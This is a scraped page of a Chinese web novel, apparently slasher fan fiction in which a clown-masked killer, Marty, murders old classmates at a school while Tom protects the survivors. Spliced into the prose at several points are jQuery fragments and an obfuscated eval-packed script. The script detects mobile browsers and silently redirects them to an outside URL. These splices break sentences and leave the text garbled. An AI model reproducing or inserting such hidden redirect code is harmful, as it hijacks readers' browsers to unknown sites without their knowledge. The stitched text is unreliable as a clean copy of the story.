$(''.inform'').remove(); $(''#content'').append('' 并不熟,充其量也就是认识的陌生人。而且一想到他们和马蒂之间的纠葛,汤姆就不知道该拿什么态度来对待卡罗尔他们。 “你也是。”卡罗尔勉强笑了笑,闭眼躺在椅子上渐渐入睡。 汤姆心里想着事,又要望风,心里始终绷着弦,无法入睡。索性一边观察着房间,一边整理思绪。 他不知道该拿什么态度面对这群人。 十年前的恶作剧毁掉了马蒂的一生,而在彻底击溃一个人后,基普他们仿佛什么事儿也没发生过,过着自己的生活。他们功成名就时,他们会想到马蒂吗? 或许有些人会愧疚,但这点愧疚除了安慰自己,还能做什么呢?真心愧疚的卡罗尔不曾去了解马蒂出事儿后的情况,哈里斯和特德更是以此为乐,和基普一同将其视为谈资。 这可真是......不公平。 仓库。 乔伊顶着朋友质疑的眼神,推开铁门,肯定地说:“就在这里。” 灰尘从门口一阵阵扬起,呛得人难受。基普捂住嘴巴和鼻子,远远看见仓库里储备了各类废弃的旧物,每件都厚厚积着灰,石头墙壁上爬满了苔藓。他皮鞋在门口踩了又踩,才嫌弃地迈步进房。 乔伊掀开麻布,将手搁在黑皮拖拉机又圆又大的轮胎上,摸了又摸这位许久不见的老伙计。 “你认为它能够顶用?”弗兰克半信半疑。 听到问话,低头翻东西的乔伊回答:“只有一个办法可以找到答案,”他将找到的扳手夹在腋下,声音闷声闷气,“那就是修好它,开出去。” “什么把握都......” “嘭——” 两位朋友警惕的目光刷地打来,基普无辜地摊开双手。落在脚边的铁棍子还在喀哒晃动,显然是刚刚基普四处翻看时不小心碰倒的。 不是危险。 乔伊和弗兰克脸色缓和。好友的死去多少在他们心底留下烙印。人人都提心吊胆,生怕自己下一个见上帝。 弗兰克斜眼看着乔伊,好友继续翻箱倒柜,撇了撇嘴,也不纠结了,反正自己也没期待答案。 “嘿,”试了试找到柴油桶的重量,乔伊语调一下轻松起来,“还有半加仑呢。” 基普问:“这能让我们走多远?”眼睛瞟到手心物品污渍斑斑,眉头紧皱,立即嫌恶地丢开。 “10、12英里。” 好像可以期待一下。 基普和弗兰克目光相接,两人眼神中都透露出相同的意思。 “你多久修好?” “一个小时,也许更多。”乔伊脱掉外套,露出白色背心和壮得像头牛的肌肉,“事实上,你们两都可以离开,我一个人可以搞定。” 弗兰克和基普并不怀疑乔伊修理东西的能力,这位好友向来既有力气又能干。 瞧他拎起油桶,明明没用多少力气,手臂肌肉膨胀得鼓出条强壮的弧线,“去做你们擅长的事,比如陪着姑娘们。”他说。 本来心思活络的基普和弗兰克闻言,纷纷对视一眼,又看向满脸信心十足的乔伊。 离开还是留下? 15.杀戮高校05 南斯和卡罗尔正沉沉睡着,均匀的呼吸声在房间里起伏。汤姆看看手表。五分钟前,斯特拉拒绝他的陪伴,裹着裘皮大衣独自去卫生间。 又等了会儿,黑发青年叫醒卡罗尔。睡眼惺忪的卡罗尔听到斯特拉孤身离开好一会儿后,立马惊醒,不安地在椅子上挪动身体。 “你怎么不叫醒我?”略带指责的话脱口而出,卡罗尔自己先愣了下,羞愧感油然而生,她讪讪一笑,“抱歉,汤姆,是我心急了。原谅刚刚糊涂的我吧!” 汤姆摇摇头,表示没事儿,见卡罗尔焦急不安,白色西装外套揪出一个小山丘似的突起。他轻声宽慰: “放松,卡罗尔,情况没那么糟糕,我会去找斯特拉的。”说着,他已经走到大门边,关上门时,不放心地叮嘱,“不要轻易开门,我会尽快回来。” 汤姆的脸镇定得有一股令人倾慕的力量,总是这么沉静。 卡罗尔不由想到十年前,面对基普和弗兰克他们欺负针对,稚嫩但冷静从容的汤姆—— 卡罗尔默默在胸前画了个十字,“上帝保佑你。” 汤姆顺着走廊,刚要拐进大厅,说话声先一步响起: “你有孩子了。” 身体顿了顿,汤姆意识到这个熟悉的男声,来自于本该现在和乔伊他们呆在一起的男人。 汤姆放慢脚步,悄悄拐过走廊。没了墙壁遮挡,大厅一览无余。天花板灯光投落在姿态亲密的两人身上,露出熟悉的面孔——弗兰克和斯特拉。 两人没察觉到陌生人,自顾自地说着。 “孩子?你知道吗,他差一点就能名正言顺地叫小弗兰克了......你是他的父亲,弗兰克。” 男人大吃一惊。 满意的斯特拉继续咬着他的耳朵,说:“你不可能忘记80年代的夏天,6月23日,两点半?” 弗兰克推拒的动作变弱了。 眼看他们就要情难自禁,汤姆不再遏制,加重了脚步声。吧嗒的脚步声刚响起,两人吓得跳起来,发现是熟人后,松了口气。 弗兰克说:“真不敢相信,你向基普学了些什么乱七八糟的。” “你想吓唬我们吗汤姆?”斯特拉咕哝,“好吧,你确实成功了,坏小孩。” 汤姆道了句歉,语气随意,但青年那副优越的皮囊总能把五分的情感演绎出八九分。乍一听这句话,弗兰克和斯特拉有点受宠若惊,没有第一时间听出汤姆略带讥讽的补充: “只是我原以为这个时候,哪怕是蠢笨的人,只要稍微有点聪明,都会知道要时刻保持警惕。” 弗兰克和斯特拉先是尴尬又气短,这情绪助长了他们的火气,除了羞怒,还有几分钟前那股未消的□□。火气作祟下,懦弱的人也能鼓足勇气,更何况弗兰克和斯特拉本就是胆大的人。 “汤姆你想要加入吗?你,我,还有弗兰克。” 斯特拉的挑逗不加掩饰,弗兰克没有阻止,相反他目光炯炯,见汤姆没明白,他直白地说:“在床上。” 汤姆用一种“你们疯了”的眼神责备两人。 弗兰克耸了下肩头,唇边笑意促狭,“玩笑而已,不过你要是觉得我们疯了也没问题。我总认为极端情绪会烧坏人的脑子,”他嬉笑的神色忽地真诚,“及时行乐吧,汤姆。” 汤姆没理会:“你别告诉我基普也回来了?” 弗兰克耸耸肩,顺势换了话题:“放心吧,基普还在乔伊身边,有他们两个人足够了。” 足够了? 谁给你们的自信? 仿佛看出汤姆的质疑,弗兰克讪讪地解释:“乔伊块头大,力量不小,是个壮实的汉子。基普看着细长,怎么也是个六英尺的男人。而马蒂,”口气带上自己也没有察觉到的轻视与怜悯,“这个可怜小家伙怎么可能打得过呢?” 弗兰克并非没有□□上的恐惧,只是过于自负。这在往日里可能会被视为野心勃勃,是白人精英的属性。但这种情况,只会让自己错误地低估凶手。 汤姆甚至还听出了一丝庆幸。 庆幸这个杀人凶手是熟人,是马蒂,那个懦弱的不堪一击的马蒂。 汤姆真的很好奇:“你们怎么这么自信?” “自信?不,我们只是有基于事实的勇气而已。” “勇气?你们是指,被脚步声吓得脸色苍白的勇气?” “坏男孩,浪费了漂亮的嘴唇,怎么总说些讨人厌的话?”斯特拉不满地说。 汤姆疲倦地按了按太阳穴,“好好好,我知道了,你们有勇气,只是有的不明显而已。”他感觉自己和这群人说不通,也不再试图纠结他们的逻辑。 “好了,听着两位,现在请回去和卡罗尔他们呆在一起,好吗?别乱跑,斯特拉我想,你不至于忘了回去的路。” 斯特拉还想说什么,弗兰克揽住她肩膀,朝汤姆露出一个客气讨好的笑。两人拉拉扯扯地离开,身影消失在拐角。 亲密的姿势,汤姆在某个瞬间,幻视这两人忽视他的话,跑去别的地方...... 应该不至于吧。 好歹也是个正常人,不至于这么离谱吧。 汤姆摇摇头,甩掉脑子里想法,往另一方走去。分开行动前,乔伊说过仓库位置,汤姆有印象。 他放心不下乔伊和基普,基普像个长不大的男孩,热衷于恶作剧,而乔伊又要忙于修理拖拉机。 真不敢想象他们会配合得有多糟糕。 仓库。 拖拉车被千斤顶举起,空出小腿高的空间,乔伊躺在里面。 “呼呼……” 橡胶味扑上从乔伊通红的脸蛋,湿透了的背心黏着鼓起的肌肉,浑身都是汗。 与修的热火朝天的乔伊相比较,基普显得无所事事。他溜溜达达,在仓库里东翻西找,杂物丢的到处都是,隔三差五折腾出声响,乔伊要是惊得抬眼,准对上基普的眼睛,收获好兄弟恶作剧得逞的哈哈大笑。 最过分的,在门口大叫一声后突然消失,乔伊大惊就要爬出来,又嬉皮笑脸地拖着步子悠悠出现。 所以乔伊这面色的红,相当一部分是被基普气出来的。 乔伊饶是脾气再好,也是个浑身肌肉的壮青年,血管里流的不是水,都是热腾腾的血,禁不住基普三番两次的玩笑。额角太阳穴直跳,他没忍住大声嘟囔: “你到底在搞什么,基普,像个小孩子一样博取可怜的关注吗?不想待在这儿就赶紧滚开。” “博取关注?嘿,乔伊,你是我兄弟我才这么直白的,你瞧瞧你,能有什么值得我费心的。” “那汤姆就有了?”他停下修理,用肘间抹去汗水,神清气爽地从余光里看到基普难看的神色。 “这关汤姆什么事儿!他的关注也不是什么稀奇物。” “怎么被汤姆刺痛到你那脆弱的、不值钱的自尊心,然后像只无能的小狗,恼羞成怒了?” “胡说!”基普说,声音有点大,他不忿地重复,“别胡说八道!” “哦?那——现在像个乖宝宝一样待在这儿的是谁?” 回到乔伊的是一记猛烈的摔门声。 乔伊冷哼一声,没放在心上,动作利索地继续修车。 不过一会儿,脚步声又响起。 乔伊只当他又一次自讨没趣,灰溜溜地回来,“麻烦把扳手给我,基普。” 来人从轮胎上方空隙递过扳手。 乔伊伸手接过,看也没看他一眼,直到他发现千斤顶正在被移开。瞬间,他吓得后背狂冒冷汗,嘴里咒骂:“你他妈怎么想的?你在做什么?基普!” 他死死撑住车底,浑身肌肉都在用力到僵硬,歪过头,只看到一截牛仔裤。 “你,你是谁?” 陌生人按下按钮,车灯亮起来,拖拉机下方散热风扇转动,嗡嗡声在不大的仓库里回荡。 “不!”乔伊尖叫,“你,你是马蒂对吗?别这样,马蒂,我没有怎么欺负你不是吗?以前都是弗兰克和基普他们,那次恶作剧也是基普的主意......兄弟,放过我吧。”他苦苦哀求。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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马蒂咬得凶,汤姆痛得脸色有点白,将铁棍往远处一扔,两手掐住马蒂脖子。好几秒后,马蒂才因窒息不得已松开嘴。 “咳咳。”他一边咳一边笑,小丑头套嘴巴处被咬开口,血迹鲜活地蠕动。马蒂伸出舌头,缓慢地一点点石忝石氏。 汤姆感到了冒犯,一拳砸向马蒂,马蒂眼睛挨了揍,闷着嗓子叫了声,舌头老实缩回去。 “基普呢?” “你把花送给了他。”马蒂回答的莫名其妙。 谁知道当汤姆递出花,基普厚颜无耻地接过时,他有多想不顾一切直接杀了他们? 他第一次理解了什么叫男人卑劣的嫉妒心。妒火之下,脉管快要被流动的铅撑破,引起他对基普更深的杀机。 花?什么花? 灵光一现,汤姆想起进门时的小丑,“那个小丑是你?花是你送我的?” 马蒂不说话,把自己的嘴唇咬破一个大口,死死瞪着汤姆。露出的一双眼睛疯狂而淫.荡,贪婪的视线似乎能剥去汤姆的肌肤,直到他整个人都赤裸裸地向马蒂敞开一切。 忽地,他像条鳗鱼一样用力挺腰,脑袋猛地磕上来。 汤姆立马掐住马蒂,唇瓣传来的血腥味让他后知后觉反应过来,这像是个突如其来的—— 吻。 他的心脏猛地一跳,掐着马蒂脖子的手改放在胸膛用力一推。 马蒂顺势后倒,然后飞速起身,拔腿就跑。 汤姆回过神,一把抹掉嘴唇上的血,从地上爬起来,追逐上去。 在又一个拐弯处,马蒂失去踪影。 汤姆打量着熟悉的走廊,认出卡罗尔她们就躲在附近,于是快步先回到教室。教室内两人都好好的,南斯醒了过来,紧紧挨着卡罗尔身旁—— 等等! 不,不对! 汤姆有一种不详的预感,问: “斯特拉和弗兰克呢?” 卡罗尔和南斯收回惊奇打量汤姆嘴唇的视线,一致地眼皮上抬,示意看天花板。 汤姆抬头,天花板垂落下细链条,末端挂着吊灯,散发出摇摇晃晃的光线,尘埃雪点似的轻飘飘飞扬。 16.杀戮高校06 “不可能......”声音戛然而止,想起两人的作风,汤姆语气变得不确定,“他们不可能在这种时候?在这种时候!” 他不敢相信,甚至怀疑起自己的耳朵了。他原以为这两人还有点正常人的头脑,不会不明白现在情形有多危险,结果这两人却放纵得没边。 卡罗尔说:“说实话,我和南斯也很不理解。”她的声音有气无力。 弗兰克和斯特拉经过时,还自然地进门和她们打了个招呼,才结伴离开。但是以这两位好友的脾气,卡罗尔早应该想到的,孤男寡女也干不出什么正经事儿了。 “这可真是......” 汤姆荒诞得想笑。他也确实这么做了,脸上挂出一抹讥讽的笑,既是在嘲讽弗兰克和斯特拉的好兴致,也是在自嘲——自己居然还对他们抱有期待。 明明这就是一群杀了人却毫无悔过之心,还能以此为谈资的杀人犯啊! 某种程度上而言,他们行为再这么离谱下去,这群好友一同结伴见上帝,汤姆也毫不惊讶了呢。 “应该不用那么紧张吧......要说危险......我和卡罗尔才更应该担心。”南斯结结巴巴地说,看得出来她很害怕。 汤姆低声严肃地说:“乔伊死了,基普也失踪了。” “什、什么!?” 汤姆来不及解释,只让她们先跟上。从开门到现在不过一两分钟,知道弗兰克和斯特拉在哪儿后,他不想浪费时间,于是转身朝楼上走去。 被他一句惊雷吓得不轻的两个姑娘,直到汤姆背影快消失才反应过来,急匆匆地追赶,想让汤姆说个清楚。 “啊——”熟悉的尖叫声。 是弗兰克和斯特拉! 什么基普什么乔伊,卡罗尔和南斯登时忘了。她们意识到自己必须毫不迟疑地立刻跟上汤姆。汤姆也变走为跑,一会儿后,三人沉默地看着两具焦黑的尸体。 斯特拉维持着紧拉床头铁杆的动作,仰面朝天地躺着,弗兰克摔在床下。床头铁杆右下角被一根电线缠住,线的末端连接着电闸。显然是凶手悄悄将电线与电闸和床栏杆连接。 “哦不——” 南斯踉跄地后退,一头扎进卡罗尔的怀里默默哭泣。卡罗尔却作出了一个让南斯难以接受的决定,“我要去找基普。”她说。 南斯啼哭声顿时僵住,她从卡罗尔怀里退出来,瞪圆了眼睛,“你,你说什么?卡罗尔。”没等卡罗尔回复,不断地摇头,咬着手指说,“为什么要去找基普?不,不行的。太危险了,我们就待在这儿不好吗?” 南斯看着汤姆,汤姆轻声说:“我都可以,看你们的主意。”毕竟基普终究是一条人命,而且他们三个人得一起行动,不管是落下谁都是不妙的。 南斯转头,那双含着希冀的眼睛看向卡罗尔。回答她的是卡罗尔坚定而语重心长的声音: “基普是我的好友,也是你的。我们不能明明知道他身处危险却无动于衷。亲爱的,我们一起行动,终归是安全的。也许,你可以多信任一点我和汤姆。” 南斯听出了卡罗尔温和语气下的说一不二,她感到骨头发冷。“信任?卡罗尔你和我说信任?”南斯浑身颤抖,又哭又叫,“不!我宁愿相信别人,认识的不认识的。相信你呀,太难了!太难了!你还记得吗十年前,十年前就是你们说只是个玩笑,不会有事。可是结果呢!马蒂成了什么样?我们现在又是什么处境?相信呀,太难了......” “都是你和基普的错,如果不是基普和他那个愚蠢的笑话,如果不是你去骗马蒂,这些都不会发生!他要找的是你们俩,没有其他人。特德、斯特拉、弗兰克......他们都不应该死!你们两才该死!” 南斯满眼红血丝咆哮道,金发和冷汗黏成一团粘在两颊,因为愤怒,脸上表情空前的咄咄逼人。 卡罗尔这下是手足无措了,她不明白南斯的指责,但清楚呵斥没用,只有让南斯痛痛快快发泄出来,才能让她恢复冷静。事实上,以南斯敏感脆弱的神经能够支撑到现在才奔溃,卡罗尔已经很吃惊了。 “都是你们的错!你们的错......” 南斯蹲下身,刺耳的叫声也弱了下去,缩在地上无声哭泣。她愤怒又痛苦地想,南斯你刚刚都说了什么可怕的话,你在仗着卡罗尔和汤姆的好脾气胡闹。 卡罗尔抱住她,温柔揩去南斯腮边的泪水,说:“好姑娘,我知道你尽力克制自己了,”她亲了亲南斯的前额,“天快亮了,愚人节中午就会结束。我们会离开这里的。” 过了会儿,“真的找到基普,我们就离开吗?”南斯噙着眼泪问。 卡罗尔点点头,笃定地说:“当然,找到基普我们就离开。” 她是那么坚定,南斯渐渐被她感染了,止住了哭泣。 “这么多的人死去,尸体都在这儿,马蒂会受到法律制裁的。他会坐牢,做很多年的牢,不会再来打扰我们。好姑娘,快把眼泪擦干吧,我知道你是个非常坚强的人。” “卡罗尔对不起,我太糟糕了,我一个人控制不了害怕。”南斯负疚地说。 看到这儿,一直守在门口的汤姆松了口气,她们之间的事儿,自己不好掺和进去。卡罗尔安抚好南斯,这再好不过。 “我们现在做什么呢?” “先去仓库看看吧。” 卡罗尔回答南斯时,视线投向汤姆,后者点头答应: “走吧。” 他之前只顾着追赶马蒂,没有细致检查,万一那边真的有什么线索呢?汤姆心想。 一路上,南斯不停地道歉,卡罗尔最开始还回应几声“没关系”,但见南斯说起话来絮絮叨叨,就变为沉默地拍着她的肩。南斯也不失落,她不停地说话,也只是想要分散注意力,让自己的情绪尽快恢复正常。 到达仓库后,他们确实有个惊人的发现,只不过不是线索,而是—— 乔伊的尸体不见了。 拖拉机下方除了一滩血,什么都没有。 “马蒂做的?” “他想毁尸灭迹!?” 除此之外,他们一无所获。大家便只能用笨办法,一个楼层挨着一个楼层,一个房间跟着一个房间找去。多兹维尔中学一共有五层,每层的房间实际上并不多,除了更衣室这类有隔间的地方找起来麻烦,需要更多的细心与谨慎,其他房间一眼扫去,便能看个一清二楚。 卡罗尔走在最前方,正拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764404|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开走廊的门,忽然脚步停住了。她个子高,走在中间的南斯什么也看不到,便从卡罗尔身后走出,奇怪地问: “怎么——啊!” 话说了半截,门后的尸体一下映入她的眼睛,她吓得尖叫。 这是一具四肢被铁钉固定在门上的尸体,头发和皮肤一样的黝黑。后脑勺处淌了一大块血,与门框相触的部分依稀能看到反着光的门钩。 汤姆端详了几眼,想起这人是谁——多兹维尔中学的管道维修工。 他肉眼可见的变老了,老人身上除了脖子上的青痕,四肢和后脑勺的血迹,没有其他伤口,如果是活生生被人挂在门钩上,简直是无法想象的酷刑。 汤姆思忖着,“这也是马蒂复仇的一部分吗?他是在无差别地报复所有人?尸体还留在这里,是还没来得及处理吗?基普又在哪儿?” ——基普本人也不知道自己在哪儿。 他一醒来就发现脖子套在绳索里,整个人被高高吊起,唯有脚尖堪堪踩着板凳。大脑哪里来得及思考?慌慌张张地环顾四周,勒住颈部的麻绳延展,套在斜前方墙钩上。基普也看到了一直以来神出鬼没的杀人犯——小丑。 小丑一动不动地站着,身形松弛,苍白头套的嘴巴咧出了夸张微笑,仿佛基普惊慌的窘态十分惹人发笑。 基普耳朵听到的一串笑声告诉他,小丑在笑并不是错觉。他还未来得及反应,小丑一脚踹掉板凳,未能表现出来的羞恼化为全然的恐惧与挣扎,小丑则不慌不忙关门离开,似乎基普的结局早已注定,而他留在这儿,只是为了给基普踹这一板凳。 求生的欲望在基普腹部燃烧,他带着愤怒使劲晃动身体,也有垂死挣扎的意味,这似乎赢得了上帝的垂怜,绳索松动,从挂钩上脱落。 “嘭。” ——不幸的是,基普磕了脑袋,不省人事地晕过去。 另一边,汤姆等人也来到了午夜时众人聚会的教室。 “果然,特德的尸体也不见了。”卡罗尔说。 特德尸体连同他的内脏同样消失了,只剩一滩干涸的血迹。 汤姆不解地喃喃:“乔伊,苏珊,哈里斯,就连刚刚死去的斯特拉和弗兰克尸体也失踪了。” 尸体都去了哪儿? 如果是马蒂做的,他能将尸体藏去哪儿?他又是怎么做到不引起注意地、快速地将尸体移走? 就怕不是马蒂做的...... “想,想这么多也没用了吧?”南斯打断了汤姆和卡罗尔的沉思,“现在我们最重要的不应该是去找基普吗?” “也是。” “你说得对,是我和汤姆想岔了。” 汤姆和卡罗尔说。 三人准备前往下一层,经过一间搜索过的教室却听到声响,打开门,老旧电视机播放着视频,是十年前愚人节弗兰克他们欺负马丁的录像。电视机上平放着一本毕业年鉴,先前检查的时候还没有,南斯和卡罗尔警惕地凑上前,翻开毕业年鉴。 汤姆瞅了一眼,转而在房间里搜寻其他动静。他边找边想,“马蒂无疑在监视他们,他到底藏在哪儿?是怎么悄声无息行动的?” 就在这时—— “南斯!?” 17.杀戮高校07 “南斯!?” 卡罗尔呼喊。 汤姆闻声转头,只看到卡罗尔跑向门口的背影,他当即放下手里的东西,三两步越过卡罗尔,朝消失在楼梯口的南斯追去。 “南斯回来吧,别傻了!” 毕业年鉴上,所有死去好友的相片都被划了一道红叉。无形之中,这个符号成了死亡预告。南斯瞧见自己那页也被打了记号后,害怕得竟然拔腿就跑。 精神疲倦让卡罗尔迟滞半拍,才察觉自己摸着门框,在门口站了好一会儿。不过几个呼吸,汤姆和南斯已经不见身影。 卡罗尔知道自己这个时候该迈步,像汤姆那样跑动起来,追上南斯。可是她停在门口,纹丝不动。她的疲倦与害怕,精神压力不比南斯少。南斯敏感又神经质,卡罗尔便只能表现得更坚强。 空荡荡的走廊,卡罗尔第一个想法是卸掉负担似的放松。这股轻松的感觉持续得很短,卡罗尔便找回理智,更沉重的压力像飘落的羽毛一样,轻轻落到肩膀。 “我这是做了什么?” 卡罗尔揉揉太阳穴,打算跟上两人,不料前方出现一个陌生的身影—— 戴着小丑头套,手里举着长长的标枪,标枪末端红得亮眼。 卡罗尔还没来得及恐惧,已经下意识转头就跑,小丑哈哈大笑着追逐上来。 南斯爆发出了一个短跑运动员的潜力,跑得飞快,等汤姆又一次抓住扶手翻身,终于落到南斯面前时,他们已经到了一楼。 汤姆抓住南斯手臂,南斯却愣愣看着大门,说:“门——门打开了。” 汤姆顺着南斯视线望去,昨晚众人使劲浑身解数也无可奈何的大门,此时露出了一条细长的缝,白日的晨光透进来,更是让这条缝隙充满诱惑力。南斯就被蛊惑得忘了危险,目光里的渴望与欢悦已经满得快溢出来。 推开门,看到了白晃晃的天空,汤姆恍然,天亮了啊。 南斯已经欣喜万分地跑到了草坪,见汤姆迟迟没跟上来,回过头催促道:“快走啊!” 汤姆说:“卡罗尔没有跟上来。”他回想着,刚才追赶就没有听到卡罗尔的脚步声。 “卡罗尔没有跟上来?”南斯又重复了一遍,处在极度欣喜的大脑似乎无法运转,理解不了这句话,又或者她拒绝去理解,逃避那个两难的选择。“什么卡罗尔没有跟上来......不走吗汤姆......没跟上来......但是该走了啊.......”她语无伦次,甚至将全部的希望都寄托在汤姆身上。 “所以不管卡罗尔吗?” 汤姆冷漠的性子显现,他向来不是个热心肠的人,大部分时候他只是随波逐流,做点力所能及的事儿。 南斯呆滞了半响,说,“那我们回去......不,不,”话没说完,她又连忙摆头,忧郁地否认,“谁知道门会不会又关上,我们快走吧,汤姆,快走吧......”南斯的语气和目光带上了哀求。 “如果你真的这么想,那我们走吧。” 汤姆走到草坪,经过南斯时,被拽住了胳膊。他侧过脸,南斯泪水流淌下两腮,声音哆嗦地说: “去,去找卡罗尔。” 这一刻,南斯心里一度怨恨着卡罗尔,“为什么要那么照顾我!?” 她又埋怨起汤姆,“为什么你总是那么冷静!?你不能自私一点,直接说走吗!” 最后全都成为南斯眼眶里愧疚的落泪。 等他们回到原地,卡罗尔不见了。 五分钟后,他们在某个拐角处,发现了卡罗尔和基普的尸体。两人的躯体面对面被什么东西贯穿了无数下,背腹处遍布好几个窟窿,基普脸庞中央还有一柄砍了几英分深的斧头。 看两人的姿势,像是基普走到转角,却被惊慌的卡罗尔误以为是凶手,用防身用的斧头砸中了,躲在一旁的凶手乘机杀掉了两人。 打量尸体不过几秒的事儿,汤姆目光放到了几米外的小丑身上。 戴着新头套的小丑,手中拿着一朵玫瑰,斜靠着墙,若不是尸体和森暗的环境,倒有几分翘首以盼恋人的情态。 见南斯和汤姆注意到他,小丑扬了扬手里的玫瑰,花瓣随着动作活泼乱跳。小丑视若珍宝地将玫瑰别到胸前的口袋,扯下头套,露出一张畸形的怪物脸,“好久不见。” 语调平平,寒暄得毫无情感,脸也是丑形的,唯独那双眼睛含着怪物不可能有的丰富情感,扫视汤姆的视线,倾注了熔岩般,烫得汤姆裸露在外的皮肤隐隐发热。 “马蒂!真的是你。” 饶是早有猜测,南斯还是发出了难以置信的惊呼。 马蒂这才注意到南斯,想起正事儿似的从身后取出标枪,哑着嗓子宣布:“南斯,该轮到你了。” 这番话无疑是死亡告知。 真正的危险来临时,南斯双腿反倒没了力气,人也失去了跑步的勇气,含着泪瘫在墙角,说:“不……不……” 马蒂举着标枪,正要略过汤姆,朝着南斯攻击去。 汤姆叹息,这么明目张胆、就在眼皮子底下的行凶,他不能不管。父母从小到大爱与铁拳的教诲,汤姆都记着。 汤姆追得急,手上没拿武器,不过他侧身,快速将斧头从基普脸庞拔出,应上举着标枪的马蒂。 十年过去,那个瘦弱的、不敢反抗的马蒂,个头比汤姆还高了四五英寸,攥着标枪的手使出了惊人的力气,挥舞标枪时,横冲直撞,有股不管一切的癫狂劲。 汤姆要顾忌着身后的南斯,而马蒂,被斧头劈到,他反倒能笑得更畅快。 疯子! 马蒂就是个疯子! 南斯惊恐万分,勇气喷薄而出,脸色红了又白,最后看了一眼相互砍杀的汤姆和马蒂,咬着牙跑掉了。 对不起汤姆对不起....... “哈,”马蒂用幸灾乐祸的口吻说,“她抛弃你了呢。” 就是这么一分神,汤姆挡住袭来的标枪,用斧头往旁边一扫,再提膝朝马蒂腹部狠踹过去,马蒂身体飞出几米摔在沙发底下,标枪滚落地板,发出一串咕噜噜的声音。 汤姆踹得狠,狠到马蒂笑不出来。 “咳咳,怎么,你要杀了我吗?” 马蒂知道自己打不过汤姆,干脆全身心用于挑衅汤姆。衣衫好几处破烂,鲜血流出,他气焰嚣张得不像一个束手就擒的人。 “杀你?” 汤姆高举着斧头,马蒂又开始笑个不停,他嚷嚷: “怎么你要用斧子砍穿我的脑袋?” 感受到斧头落下划破空气的劲风,马蒂伸展两臂,裂开嘴唇笑得猖狂: “来呀,汤姆,来呀!” 半张满是烧痕的面孔在燃烧,这本应是惊悚至极的场景,那双绿眼珠却流出了浓重悲伤,让身为杀人狂的小丑,戏剧性地多了几分卡西莫多般的悲情。 ——斧头擦过面庞。马蒂却如同正中了要害,僵死般安静下来。 斧头插入沙发中,棉花从破口中冒出,软软戳在脸上。半敞开的窗户挂着素色的窗帘,风一吹动,白净的阳光便敞开了洒进屋内,汤姆半个身体的轮廓蒙上了一层弧光。 为什么不杀了我呢? 马蒂收回手臂,见汤姆没有抗拒,缓缓搭在汤姆肩膀上。汤姆没躲开马蒂的触碰。因为马蒂有一双会说话的眼睛,它说—— 你让我碰吗?让我碰吧,不让我碰的话,我会疯掉的哦。 “也许这应该说是威胁。”汤姆在心里纠正。 他这是心软了吗? 汤姆很惊奇,但他想做就做,并不瞻前顾后。 马蒂却不能这样任性。 看着汤姆藏在浓密睫毛下的黑眼睛,马蒂心里升起一种急切的欲望。 想抚摸他高挺的鼻梁,想亲吻他甜美的唇肉…… 下一秒,马蒂在汤姆瞳孔里瞧见自己的倒影,那个丑陋的!难堪的!怪物! 马蒂直瞪绿眼睛,怪物被他逼退,不甘心地收回手,蜷缩到角落。 莫名其妙被瞪的汤姆见马蒂收回手,无所谓地捡起斧头,直起身,说: “我会把你绑起来。” “我不后悔,汤姆,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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马蒂刚想要把手放上去,忽然想起来他藏在指甲缝的药剂,于是捂着胸口,搀扶着沙发从地面爬起,闷声闷气地说: “你会后悔的,汤姆。”你会后悔今天没有杀了我。 汤姆再次反驳:“杀了你我才会后悔。” “那如果我坐牢了,你……”马蒂犹豫出声,“你会来探望我吗?” 汤姆认真思考了下,说,“也许会。” “这是一个约定吗?” 我好像说的是也许?汤姆看着马蒂,心里的想法最后变为一句,“它可以是一个约定。” 十年前,汤姆也是这样冷淡又有礼地答应。于是,他们有了一个约定。 ——是啊,他们曾经有一个约定。 马蒂,你都干了什么? 你用了十年的时间在干什么? 马蒂又说:“真的吗?” “什么真的?” “汤姆这一切都是真的吗?不是我的梦,你就在我身边,你说愿意来看我。” 马蒂本来只是想要寻求一个肯定的回复,但说着却被自己的话语说服,情真意切地什么都怀疑起来,只觉得一切都虚假得不行。 “为什么这么说?” 马蒂神情惶恐道:“我明明还未付出可以称之为惨痛的代价啊。” 某根弦被微弱的触动,汤姆不适地皱着额头,说不出心里是什么感觉。他用指甲掐了马蒂胳膊肉,“疼吗?” 马蒂明明痛得直抽气,还是龇牙咧嘴地说:“不疼。” 不疼? 汤姆对自己的力气心知肚明,怎么会不疼呢? “再掐我一下,汤姆。” 马蒂眼睛里的乖戾消失,那张恐怖得如同洋娃娃被踹了一脚的脸上,汤姆只看到了清澈的顺从,就像一条做了错事的小狗,小心翼翼地探出视线。 “我似乎应该说点什么……”汤姆心想,话到嘴唇,却吐出为: “告诉我,弗兰克他们的尸体是你处理的吗?” 因为,汤姆看到—— 卡罗尔和基普的尸体不见了。 “处理?什么处理?” 马蒂反过来发问。 18.杀戮高校(完) 汤姆简短地说:“他们的尸体都不见了。” 话音落到马蒂耳中,他脸色一变,明白这意味着什么。 “不能继续留在这里,得赶快走!”他们不约而同地想。 两人奔向楼梯。马蒂走得慢,被踹了一脚的腹部隐隐作痛,汤姆便左手搀着马蒂,右手拎着斧头。马蒂见状,也捡起地上的标枪。 眼下潜伏着未知的危险,明明是该紧张的时刻,马蒂却觉得踏实,真正有了和汤姆相处的实感。 